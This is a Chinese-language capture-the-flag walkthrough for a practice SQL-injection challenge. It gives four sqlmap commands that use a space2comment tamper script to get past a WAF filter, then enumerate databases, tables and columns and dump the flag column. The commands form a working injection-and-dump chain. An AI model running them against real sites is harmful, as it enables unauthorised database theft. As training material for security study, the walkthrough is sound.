实验吧 简单的SQL注入2攻击笔记

背景：使用kali linux中的sqlmap

1.在进入sqlmao的终端界面后输入    sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment --dbs

其中：1.sqlmap：启动sqlmap。2.-u：参数 指目标的URL。3.--tamper：绕过WAF脚本。4.space2comment ：tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库

红色括号中的information_schema数据库和test数据库是MySql数据库安装时自带的，所以我们要找的就是web1。

2.输入    sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

其中：1.-D：后面跟数据库的名字。2.--tables：列举库中的表格

3. sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column

其中：1.-T：后面跟表格名字。2.--column列举表格中的列名

4.sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C  flag --dump

其中：1.-C后面跟列的名字。2.--dump取出表单所有记录。

结果就出来了